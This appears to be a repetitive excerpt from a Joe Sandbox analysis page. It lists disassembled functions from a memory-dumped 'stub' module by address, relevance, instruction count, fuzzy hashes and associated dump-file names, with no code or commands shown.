Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 292777a953c9535b84e357e6739cd9d8105579c0b8feae30729318ecb86c5128
Instruction ID: a1452f239f0bd2b5491c487b8cb5d10c90a835709539e3bd06f0339d9b8ec192
Opcode Fuzzy Hash: 292777a953c9535b84e357e6739cd9d8105579c0b8feae30729318ecb86c5128
Instruction Fuzzy Hash: D08214736300688BE3928F2E5418EAB3799FB5978DF83A205EB819B645C53DFD05CB50

Function 00007FF8A7F16310 Relevance: .9, Instructions: 881COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19315b98f5cd458771c0638d41154ad42e43e3075076644c4b8e7c98e88e6ebf
Instruction ID: 287c5b939bc6dca82b5b2b65b2db3c5f773962ea41343d619c80eeb89f8b6756
Opcode Fuzzy Hash: 19315b98f5cd458771c0638d41154ad42e43e3075076644c4b8e7c98e88e6ebf
Instruction Fuzzy Hash: D9620753B157E84ACE558BADB8273A96EA4D3953C1F486036EBDD03F96DA3CE211C310

Function 00007FF8A7DE6CBC Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4036a71b09bcfbd494ebe4bb27adcd7657560767430df20915ec1542b7b8d30b
Instruction ID: 476ffd295c425ce2dcf2daec8869bb0f93843bdff0ee9b46fd801010579e9f65
Opcode Fuzzy Hash: 4036a71b09bcfbd494ebe4bb27adcd7657560767430df20915ec1542b7b8d30b
Instruction Fuzzy Hash: 4D52A1737301B44BE3518B2E985CD6A3798F3567C9FD2520AFB818BA41C93DA906DF90

Function 00007FF8A7DE5B73 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cef6a4629197e9c0bdf84d1fab91b86f3d72881661dc8e501ccca497ba73e17
Instruction ID: 46a7416c9e29522bbc3f476fe3146d6ad6aa51d6d3b2469de6214a55f577e0ca
Opcode Fuzzy Hash: 3cef6a4629197e9c0bdf84d1fab91b86f3d72881661dc8e501ccca497ba73e17
Instruction Fuzzy Hash: A6326CB6B91A6596DB048F16E90138D7B64F319BC8F898526DF8C83F54EB38E472D300

Function 00007FF8A7DE177B Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 248a1b1f953c07950550d0fed5197040e7e2b796ea8bde93e7e2abbcde639fa0
Instruction ID: 00fad3566e657a400c6935fb0142ffc9bf94958c16e368fe7f609fab98bf2dff
Opcode Fuzzy Hash: 248a1b1f953c07950550d0fed5197040e7e2b796ea8bde93e7e2abbcde639fa0
Instruction Fuzzy Hash: 9222C3A2210BE58AF720DFA9A851ACFBB31F349789F59611AEFD927744C738D019D310

Function 00007FF8A7DE6C21 Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e590900a6e0120ee690f1286acccf1daa36367a4752bc1c9946b47df92236b43
Instruction ID: d260d3001b7d3bf8a5505390cef6bed5be9bf0ed4e08cd7693124b3586f3c245
Opcode Fuzzy Hash: e590900a6e0120ee690f1286acccf1daa36367a4752bc1c9946b47df92236b43
Instruction Fuzzy Hash: 9F328612D08F9962E6234B39D5032BA6710EFB7BC8F00E717FED871592DF75A985A200

Function 00007FF8A7F12850 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a1c6215b183fcb32d5c067edaab6608c2d04b4218f86c1f68138d02e417ffa
Instruction ID: 9ec0e3e9ac0b216faf172956d3b5aa7646f2b1d8edc46835068477fe8d7b25ec
Opcode Fuzzy Hash: 20a1c6215b183fcb32d5c067edaab6608c2d04b4218f86c1f68138d02e417ffa
Instruction Fuzzy Hash: E242D2935196D1DEE721CF39C8527ED7BA0E321348F444656D7881B98BDA2CC3AED720

Function 00007FF8A7DE1D83 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9364b6cf415b0bf4474d27a0c7904f60d690c1347ac814cc56d9874b251e818b
Instruction ID: 5828b174ebc167409782b17fd99368f46527b09813aaf22cede15722e5f79221
Opcode Fuzzy Hash: 9364b6cf415b0bf4474d27a0c7904f60d690c1347ac814cc56d9874b251e818b
Instruction Fuzzy Hash: 0E02F9732250E08BE32A8B3D6C65D7E3A91F3963837865119EF939BAC5C43CE905D760

Function 00007FF8A7DE4D04 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83737f194ead3c4296f9afd4f03f6282291e46c6f76d94dc84c4d8b2b546e96f
Instruction ID: 4cfae89fe5ae19a8dc582f03a3aae9b339148f9b42f7459ae3fd1a72fe682e76
Opcode Fuzzy Hash: 83737f194ead3c4296f9afd4f03f6282291e46c6f76d94dc84c4d8b2b546e96f
Instruction Fuzzy Hash: 3A22CFB7949290BBD7118F2582A05AE3FA1F717BA07888312DBC543786C73EB536DB10

Function 00007FF8A7DE114F Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa32eeea1beafbe02c917f28a136cd0c9fbf24de7bb31c927031117a00a23c85
Instruction ID: 37ac9e0828cc0e6dfed272179bbb5de9e71e368022d7d7717207dfc0b797277b
Opcode Fuzzy Hash: aa32eeea1beafbe02c917f28a136cd0c9fbf24de7bb31c927031117a00a23c85
Instruction Fuzzy Hash: 7E22CF12E18FD951E2139B3991035BA6320EFBA7C8F04E316FED8B1553EF65A6959200

Function 00007FF8A7DE23F1 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c527e7ab8babe2e87635d1d24e2a0aba8fa974909ae1099a2522755bb05623c8
Instruction ID: 85cc4ffbc769fb64cdf9ff17b2987ddc837a88202d094193995a533634431bcb
Opcode Fuzzy Hash: c527e7ab8babe2e87635d1d24e2a0aba8fa974909ae1099a2522755bb05623c8
Instruction Fuzzy Hash: B612A212E1CFC951E6135B3991035BA6320BFBB2D8B00D326FFD871563EB66B6D1A211

Function 00007FF8A7F174F0 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
